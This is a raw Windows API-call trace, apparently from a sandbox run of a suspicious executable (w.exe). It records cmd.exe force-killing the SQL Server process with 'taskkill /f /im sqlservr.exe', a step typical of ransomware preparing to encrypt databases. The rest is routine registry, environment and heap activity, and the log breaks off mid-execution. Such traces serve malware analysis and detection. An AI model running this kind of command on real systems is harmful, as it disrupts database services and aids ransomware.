	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x4, lpData=0x30ee64*=0x0, lpcbData=0x30ee5c*=0x4) returned 0x0
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x4, lpData=0x30ee64*=0x40, lpcbData=0x30ee5c*=0x4) returned 0x0
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x4, lpData=0x30ee64*=0x40, lpcbData=0x30ee5c*=0x4) returned 0x0
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x0, lpData=0x30ee64*=0x40, lpcbData=0x30ee5c*=0x1000) returned 0x2
	[0047.173] RegCloseKey (hKey=0x68) returned 0x0
	[0047.173] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30ee58 | out: phkResult=0x30ee58*=0x68) returned 0x0
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x0, lpData=0x30ee64*=0x40, lpcbData=0x30ee5c*=0x1000) returned 0x2
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x4, lpData=0x30ee64*=0x1, lpcbData=0x30ee5c*=0x4) returned 0x0
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x0, lpData=0x30ee64*=0x1, lpcbData=0x30ee5c*=0x1000) returned 0x2
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x4, lpData=0x30ee64*=0x0, lpcbData=0x30ee5c*=0x4) returned 0x0
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x4, lpData=0x30ee64*=0x9, lpcbData=0x30ee5c*=0x4) returned 0x0
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x4, lpData=0x30ee64*=0x9, lpcbData=0x30ee5c*=0x4) returned 0x0
	[0047.173] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30ee60, lpData=0x30ee64, lpcbData=0x30ee5c*=0x1000 | out: lpType=0x30ee60*=0x0, lpData=0x30ee64*=0x9, lpcbData=0x30ee5c*=0x1000) returned 0x2
	[0047.173] RegCloseKey (hKey=0x68) returned 0x0
	[0047.173] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163037
	[0047.173] srand (_Seed=0x5d163037) 
	[0047.173] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlservr.exe \""
	[0047.173] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlservr.exe \""
	[0047.173] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4c5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0047.174] GetProcessHeap () returned 0x340000
	[0047.174] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x210) returned 0x352008
	[0047.174] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x352010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0047.174] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.174] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.174] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0047.174] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0047.174] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0047.174] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0047.174] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0047.174] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0047.174] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0047.174] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0047.174] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0047.174] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0047.174] GetProcessHeap () returned 0x340000
	[0047.174] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x352ae0 | out: hHeap=0x340000) returned 1
	[0047.174] GetEnvironmentStringsW () returned 0x352220*
	[0047.174] GetProcessHeap () returned 0x340000
	[0047.174] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xae2) returned 0x354b80
	[0047.175] FreeEnvironmentStringsW (penv=0x352220) returned 1
	[0047.175] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0047.175] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0047.175] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0047.175] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0047.175] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0047.175] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0047.175] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0047.175] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0047.175] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0047.175] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0047.175] GetProcessHeap () returned 0x340000
	[0047.175] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x54) returned 0x355670
	[0047.175] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x30fc24 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0047.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x30fc24, lpFilePart=0x30fc20 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30fc20*="Desktop") returned 0x25
	[0047.175] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0047.175] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30f9a0 | out: lpFindFileData=0x30f9a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x351e88
	[0047.175] FindClose (in: hFindFile=0x351e88 | out: hFindFile=0x351e88) returned 1
	[0047.175] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x30f9a0 | out: lpFindFileData=0x30f9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x351e88
	[0047.176] FindClose (in: hFindFile=0x351e88 | out: hFindFile=0x351e88) returned 1
	[0047.176] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0047.176] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x30f9a0 | out: lpFindFileData=0x30f9a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x351e88
	[0047.176] FindClose (in: hFindFile=0x351e88 | out: hFindFile=0x351e88) returned 1
	[0047.176] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0047.176] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0047.176] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0047.176] GetProcessHeap () returned 0x340000
	[0047.176] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x354b80 | out: hHeap=0x340000) returned 1
	[0047.176] GetEnvironmentStringsW () returned 0x354090*
	[0047.176] GetProcessHeap () returned 0x340000
	[0047.176] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb36) returned 0x355ed0
	[0047.176] FreeEnvironmentStringsW (penv=0x354090) returned 1
	[0047.176] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4c5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0047.176] GetProcessHeap () returned 0x340000
	[0047.176] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x355670 | out: hHeap=0x340000) returned 1
	[0047.176] GetProcessHeap () returned 0x340000
	[0047.176] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x400e) returned 0x356a10
	[0047.177] GetProcessHeap () returned 0x340000
	[0047.177] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4c) returned 0x352d60
	[0047.177] GetProcessHeap () returned 0x340000
	[0047.177] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4008) returned 0x35aa28
	[0047.177] GetProcessHeap () returned 0x340000
	[0047.177] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4008) returned 0x35ea38
	[0047.179] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0047.179] GetProcessHeap () returned 0x340000
	[0047.179] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x418) returned 0x352db8
	[0047.179] SetErrorMode (uMode=0x0) returned 0x8003
	[0047.179] SetErrorMode (uMode=0x1) returned 0x0
	[0047.179] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x352dc0, lpFilePart=0x30fb9c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x30fb9c*="f") returned 0x31
	[0047.179] SetErrorMode (uMode=0x8003) returned 0x1
	[0047.179] GetProcessHeap () returned 0x340000
	[0047.179] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x352db8, Size=0x8e) returned 0x352db8
	[0047.179] GetProcessHeap () returned 0x340000
	[0047.179] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x352db8) returned 0x8e
	[0047.179] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0047.179] GetProcessHeap () returned 0x340000
	[0047.179] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x72) returned 0x362a60
	[0047.180] GetProcessHeap () returned 0x340000
	[0047.180] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x352e50
	[0047.180] GetProcessHeap () returned 0x340000
	[0047.180] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x352e50, Size=0x72) returned 0x352e50
	[0047.180] GetProcessHeap () returned 0x340000
	[0047.180] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x352e50) returned 0x72
	[0047.180] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.180] GetProcessHeap () returned 0x340000
	[0047.180] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xe0) returned 0x352ed0
	[0047.183] GetProcessHeap () returned 0x340000
	[0047.183] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x352ed0, Size=0x76) returned 0x352ed0
	[0047.183] GetProcessHeap () returned 0x340000
	[0047.183] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x352ed0) returned 0x76
	[0047.184] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0047.184] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im sqlservr.exe ", fInfoLevelId=0x1, lpFindFileData=0x30f938, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f938) returned 0xffffffff
	[0047.184] GetLastError () returned 0x3
	[0047.184] GetProcessHeap () returned 0x340000
	[0047.184] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35aa28 | out: hHeap=0x340000) returned 1
	[0047.184] GetProcessHeap () returned 0x340000
	[0047.184] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35ea38 | out: hHeap=0x340000) returned 1
	[0047.184] GetProcessHeap () returned 0x340000
	[0047.184] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x356a10 | out: hHeap=0x340000) returned 1
	[0047.184] GetConsoleOutputCP () returned 0x1b5
	[0047.184] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4c4260 | out: lpCPInfo=0x4a4c4260) returned 1
	[0047.184] GetUserDefaultLCID () returned 0x409
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a4c4950, cchData=8 | out: lpLCData=":") returned 2
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30fd64, cchData=128 | out: lpLCData="0") returned 2
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30fd64, cchData=128 | out: lpLCData="0") returned 2
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30fd64, cchData=128 | out: lpLCData="1") returned 2
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a4c4940, cchData=8 | out: lpLCData="/") returned 2
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a4c4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a4c4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a4c4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a4c4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a4c4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a4c4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0047.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a4c4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0047.186] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a4c4930, cchData=8 | out: lpLCData=".") returned 2
	[0047.186] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a4c4920, cchData=8 | out: lpLCData=",") returned 2
	[0047.186] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0047.187] GetProcessHeap () returned 0x340000
	[0047.187] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20c) returned 0x352f50
	[0047.187] GetConsoleTitleW (in: lpConsoleTitle=0x352f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.187] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0047.187] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0047.187] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0047.187] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0047.187] GetProcessHeap () returned 0x340000
	[0047.187] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x400a) returned 0x356a10
	[0047.187] GetProcessHeap () returned 0x340000
	[0047.187] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x356a10 | out: hHeap=0x340000) returned 1
	[0047.188] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0047.188] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0047.188] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0047.188] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0047.188] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0047.188] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0047.188] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0047.188] GetProcessHeap () returned 0x340000
	[0047.188] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x58) returned 0x353168
	[0047.188] GetProcessHeap () returned 0x340000
	[0047.189] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1a) returned 0x355710
	[0047.189] GetProcessHeap () returned 0x340000
	[0047.189] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x34) returned 0x3531c8
	[0047.190] GetConsoleTitleW (in: lpConsoleTitle=0x30fa5c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.190] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0047.190] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0047.190] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0047.190] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0047.190] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0047.190] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0047.190] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0047.190] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0047.190] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0047.190] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0047.190] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0047.190] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0047.190] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0047.190] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0047.190] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0047.190] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0047.191] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0047.191] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0047.191] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0047.191] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0047.191] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0047.191] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0047.191] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0047.191] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0047.191] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0047.191] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0047.191] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0047.191] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0047.191] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0047.191] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0047.191] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0047.191] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0047.191] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0047.191] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0047.191] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0047.191] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0047.191] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0047.191] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0047.191] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0047.191] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0047.191] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0047.191] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0047.191] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0047.191] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0047.191] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0047.191] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0047.191] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0047.191] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0047.191] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0047.191] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0047.192] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0047.192] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0047.192] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0047.192] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0047.192] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0047.192] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0047.192] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0047.192] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0047.192] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0047.192] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0047.192] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0047.192] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0047.192] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0047.192] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0047.192] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0047.192] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0047.192] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0047.192] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0047.192] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0047.192] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0047.192] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0047.192] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0047.192] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0047.192] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0047.192] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0047.192] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0047.192] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0047.192] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0047.192] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0047.192] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0047.192] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0047.192] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0047.192] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0047.192] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0047.192] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0047.193] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0047.193] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0047.193] GetProcessHeap () returned 0x340000
	[0047.193] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x210) returned 0x353208
	[0047.193] GetProcessHeap () returned 0x340000
	[0047.193] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x46) returned 0x353420
	[0047.193] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0047.193] GetProcessHeap () returned 0x340000
	[0047.193] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x418) returned 0x3407f0
	[0047.193] SetErrorMode (uMode=0x0) returned 0x8003
	[0047.193] SetErrorMode (uMode=0x1) returned 0x0
	[0047.193] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3407f8, lpFilePart=0x30f57c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f57c*="Desktop") returned 0x25
	[0047.193] SetErrorMode (uMode=0x8003) returned 0x1
	[0047.194] GetProcessHeap () returned 0x340000
	[0047.194] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x3407f0, Size=0x66) returned 0x3407f0
	[0047.194] GetProcessHeap () returned 0x340000
	[0047.194] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3407f0) returned 0x66
	[0047.194] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.194] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0047.194] GetProcessHeap () returned 0x340000
	[0047.194] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x120) returned 0x353470
	[0047.194] GetProcessHeap () returned 0x340000
	[0047.194] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x238) returned 0x340860
	[0047.196] GetProcessHeap () returned 0x340000
	[0047.196] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x340860, Size=0x122) returned 0x340860
